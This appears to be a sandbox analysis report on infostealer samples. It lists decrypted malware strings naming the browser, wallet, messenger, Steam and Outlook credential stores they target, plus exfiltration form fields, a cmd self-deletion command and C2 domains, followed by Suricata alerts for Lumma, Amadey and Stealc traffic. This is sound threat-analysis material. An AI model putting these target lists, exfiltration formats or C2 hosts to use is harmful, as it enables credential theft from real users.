Source: 39.0.num.exe.e60000.0.unpack	String decryptor: cookies.sqlite
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: formhistory.sqlite
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: places.sqlite
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: plugins
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Local Extension Settings
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Sync Extension Settings
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: IndexedDB
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Opera Stable
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Opera GX Stable
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CURRENT
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: chrome-extension_
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Local State
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: profiles.ini
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: chrome
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: opera
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: firefox
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: wallets
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ProductName
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: x32
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: x64
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ProcessorNameString
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DisplayName
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DisplayVersion
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Network Info:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - IP: IP?
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Country: ISO?
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: System Summary:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - HWID:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - OS:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Architecture:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - UserName:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Computer Name:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Local Time:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - UTC:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Language:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Keyboards:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Laptop:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Running Path:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - CPU:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Threads:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Cores:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - RAM:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - Display Resolution:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: - GPU:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: User Agents:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Installed Apps:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: All Users:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Current User:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Process List:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: system_info.txt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: freebl3.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: mozglue.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: msvcp140.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: nss3.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: softokn3.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: vcruntime140.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Temp\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: .exe
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: runas
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: open
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: /c start
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %DESKTOP%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %APPDATA%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %USERPROFILE%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %DOCUMENTS%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %RECENT%
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: *.lnk
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: files
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \discord\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Telegram Desktop\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: key_datas
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: map*
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Telegram
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Tox
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: *.tox
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: *.ini
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Password
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 00000001
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 00000002
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 00000003
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 00000004
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Pidgin
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \.purple\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: accounts.xml
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: token:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Software\Valve\Steam
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SteamPath
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \config\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ssfn*
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: config.vdf
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DialogConfig.vdf
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: libraryfolders.vdf
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: loginusers.vdf
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Steam\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: browsers
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: done
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: soft
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: https
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: POST
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HTTP/1.1
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: hwid
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: build
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: token
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: file_name
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: file
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: message
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: screenshot.jpg
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: servicedny.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: authorisev.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: faulteyotk.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: dilemmadu.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: contemteny.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: goalyfeastz.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: opposezmny.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: seallysl.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: goalyfeastz.site
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: - Screen Resoluton:
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: Workgroup: -
Source: 42.0.test.exe.e90000.0.unpack	String decryptor: 2Zo0RN--PRIVATE

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:58231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:58238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:58243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:58246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:58254 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 76bf5a4dba.exe, 00000014.00000003.2307921520.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348423588.000000000034C000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: my_library.pdb source: 76bf5a4dba.exe, 00000014.00000003.2307921520.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348423588.000000000034C000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, 0000000A.00000003.1531142998.0000000004990000.00000004.00001000.00020000.00000000.sdmp, M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Directory queried: number of queries: 1752

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 184MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:55563 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:55134 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:50738 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:52927 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:61796 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:58188 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:57934 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:54819 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:58189
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:50788 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58192 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:58191 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58194 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58195 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58196 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58197 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58202 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:58201 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58199 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:58198 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:57935 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:61818 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:58030 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:58205 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58203 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58206 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:62527 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58208 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58215 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:58218 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:58216 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58223 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:58232 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 31.41.244.11:80 -> 192.168.2.7:58221
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58217 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:52718 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:50281 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:58170 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:49291 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:62313 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58247 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58250 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58253 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58239 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58249 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58251 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58252 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58248 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:58254 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:58194 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58194 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:58192 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58192 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58203 -> 188.114.96.3:443
